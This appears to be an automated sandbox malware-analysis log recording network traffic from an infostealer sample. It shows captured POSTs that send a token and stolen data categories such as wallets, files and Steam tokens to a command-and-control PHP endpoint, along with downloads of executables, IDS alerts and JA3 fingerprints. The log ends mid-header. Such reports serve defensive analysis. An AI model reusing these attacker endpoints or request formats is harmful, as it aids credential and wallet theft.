Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDHJDGCGDAAKEBGDBKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="message"wallets------IIDHJDGCGDAAKEBGDBKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBAAEGDBKKECBGIJEBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 2d 2d 0d 0a Data Ascii: ------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="message"files------JJDBAAEGDBKKECBGIJEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="file"------AAKEGDAKEHJDHIDHJJDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="message"ybncbhylepme------DBFBFBGDBKJJKFIEHJDB--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 63 38 66 66 36 34 36 30 34 30 35 30 31 30 65 65 39 63 64 62 66 63 32 30 39 33 33 65 66 66 33 30 32 34 65 62 64 65 30 34 62 32 34 32 63 38 61 66 66 62 63 34 63 61 32 33 33 39 61 36 32 66 32 65 36 62 30 38 39 38 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="token"4dc8ff6460405010ee9cdbfc20933eff3024ebde04b242c8affbc4ca2339a62f2e6b0898------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDBKKFHIEGDHJKECAAKK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 43 37 38 42 34 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49720 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49809 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49937 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50103 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50118 -> 172.67.187.240:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.147.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.36.55

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA9CC60 PR_Recv,

0_2_6CA9CC60

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153105Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=0f0e1916b57c46dd8012d4d68cd7ef51&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAT6kYjPgc21fnF+qxU27IIYQ/LI8/2YC6x8t8JuuZqMv8IWltkYOxXzJGNZ33N2eMtelQos9sMzJQPwDvdaqecdshi+lklq4h9h7SoVkr8sFeImCXCT5ZeRtF4gL7sYIXj4bDKsJlNbL3S4BNKPD/JAYfBcCva5wPgyB/XCeCBHFO4Bsgat4mzKJLNM7aoG3cIsptplVUp7q2jnQUScIvMFBDVWHOs3hrRHTsXDziJ0sI5s+KMkwTtB5Jini3thYSHsk18ehdWddCqtaQGadipY/sGKwZWNOVrRgYVzfzLBM06S0/wRnXrge1GQc+XHjJDVBo+WmsaX+a/qDeTF9+xYQZgAAEPEgPdwjR5sfmMt+ijaov2OwAa3wgmZmGBa5F2eKeGemFogrE+fazXB1Oi/GGfuL8MbI0NkXHMNC48i7TeFbq2UBZNC9PQbQpJ9YtbEfb6q9XYcJcyg8hLcSpbugjI8KGySw2kSNkvk1RBR7VfXF3ELnegvBmkvpc9Aqp6RzSymWHTYdg6JEuIBjnlhJso++/iGYDWBgXkdRRp7njB1bIEWrvJZbXxJP0xx39ub8JeYiVi47kJx7rLua9GfdG1eN0vwWW4QN8ZVJq12k4/szKkD6cH7sFHhQ9G1nY65mgI0KtfaKgqhUiYm1wsxQvIn7CAlQ7KnLl2Hqix8M3ExITwjoS2JsNdYTDaiRrM1WFK0d2M4G9wIEfcmjphUxRvfktObv4sOAusN/vbAGM73mawWk0RsEWJ+8TLuv+IBf5Ewz/FlGnschUDS9uwrCphCDPKewqZUNhSDKmQWYN10iVxHVN8ZQ5E11/Qq3Ro5LEkTteXvKHOKUX/W90egc5rz/m/rMMsfvfoDJ/TKiGGKKdRIyGB53svTtfFhCQ9EuBNzB8QEIHajudrPpSCIsQsw7tqVD3LWDCcNcv2SUYLzAtKClxNcB&p=Cache-Control: no-cacheMS-CV: 3Vm+Jn6XVk6c/Y5v.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153105Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5a5f21dbd3d84bf2bad9376c31e8b0d3&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZ1hoi1TzaYpzVzVd+YEO56cZ06MOdgqXgXAos1MJlN20gETlA48eLOMymFJLsl3BR1xoa0l1AqAc1pL5sh92Wgv6yvNuk1kRRInCLjTHwSOB+mN4vbAGUcSb2inNrqBd6MrjdXVkRBeP9lXgilXe2QNa1DQCAM3N2SEx7JT5JOBvnF2NZjoOYwIm+8ouLgbnZrw8Z8oab5XNr1HLO65qqsvrynoNCHPogROjeI7uCNqb4bGLh6mXzcbfXd/B+iLou/WeT0DyeHD7YG8I/ToyDfN3baS69B6WQAwym8CSQ4ZGFVnHigaFfNozHq/m68FrSCq9Xv8TsYixg0Dz4ydktUQZgAAEBDtgiZRMx/Tgqy+mRRqYdmwAQ+0uyQ1ZF1E46U1ViVuoYlHgmEZfw9+BKZgJW41XjnxSrfEL7QTf+WdsmMa1hYFEJVShV3v+8OPaaCC+bPsUYzcaxkRJlns7i9r4Zh/H2hGBaGHpbTWbjMFYBKmFiVinYcosVV6FUDTpuF8I3r/+K5/dXXWbpu2FZ/LoqVBfJd5KbVz3JID2xH/KlolYAuYxWnxDEeCdhp6w6ZjyiPJst4jrsQI8T1cuEdqWqH/ML1OQGOzBBKDUYVAp7iosekWNSfZF+ysBMvgPPguxFTkyYkULo1G8hx5xLE0qN3XikC/LSFeiXH7q6cuFv3YpdwmLa9aXqrVAeWMAaQ1k7ZcD4tYVay7BCfrwZ3hu8U/ZWNwegHyBLMz32b2JXtCp8kc7dzknTJCfKycGCMiKX+s0JPnLVGp+2FAn9aNmHDKDOimtVpc4xsPvCfDeXJDANCOQapQ1ffYR5ycrCfpFe1ejnR07K0rfcxzXBQuicHjpWEzIlZeKXYtGpIAxey70/Jy0aKxeC0b2M+qF/U7Fey5VK9kv1cwudrC5JBXPolZB75gslaXq3ivS8C3s/UzoXh+8tcB&p=Cache-Control: no-cacheMS-CV: 3Vm+Jn6XVk6c/Y5v.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153105Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=631cafce5fda4443a240cb1fb9a6340f&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXEGD5wQT41Dgecj+gV/IHI/acbcSkOi6l3XO7M6oF0Y5Mz++MZj8RJ82JqatEFdgROSNt+d6o1QrBOa3zuDqyiKAdTJM5O2LTIabasniSG0ZZhuZA1C7umy2pB+nf5tyLqZ/OpXiOJMb3LSPLWRpNJCkvx7DVGytSjWPkW4q3yrC3tgJ0UIS7eS/SgEEJZJXYyf/5fFH24plv9HBM3Wzyuq01X/UUItGxJ9mhAPnSzeQG+Iwg5+5Y15V7nWAQl5MzZmds9hAtVVcV+lkXfEf70NwEGLfbmjtaTIIbVH2wHRsIJADWseGiwg/4Bhdmb4KaFKtxxJ4cIZBwq76wCvSVUQZgAAEAmebN9+6uh4bKF4+k6dwyywAajJL5IWO3ETmOKtN7oE746JGIAbROhE/K+eoPK8C3pN4+pf67HEqQ62sw3ElbYVSL448vLyqnJre/oFmlrGZC7hLr8KUqHcDgCf/6L+N+XxUjRqztyR//WcJIYCV+TugNBMVY9pM3V17oHj2deuo1tXI9sRAZhkwnSJVdBejzSJzGJ+rwl1a6RhwwZhZkDG0o/+1r2hB48lwIasOhOatkrDUOjs6qgFinwN5W2unddrqekhPDySO4VLowI40hCpD2nVX3mKrvjfon4knCHnMCaX7qwRE1yei8xHsHVoBxsDltwKX8MjlmmimbqBa6iLWxRRE2DWeOBiFY7NVQhlJA5Dknwy1yL1fyeA+SKCCEzMPN5dc0ElmyjZ26XJGgKg1gFiXUZXqJr7LY7nIedPPEEP75hdPhjMoAqTWztS5X6vz7LuFEpKdsqt9eKiwPKlqw90nt6JWm1uWUTn92Qi+HyfC3pGnoSzauoYi59Wm0UHeB4LYUCu5oiugTYLxeBFnYgMeZO4EYG+sCo680uJg9PSVt8V3DDsLBvXKE+ejXwcpLXKzi+f3RufYhGh+WmsrdcB&p=Cache-Control: no-cacheMS-CV: 3Vm+Jn6XVk6c/Y5v.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153111Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=370948da645842ad819dfed77369ff02&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=530911393,532151159,530725852&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: 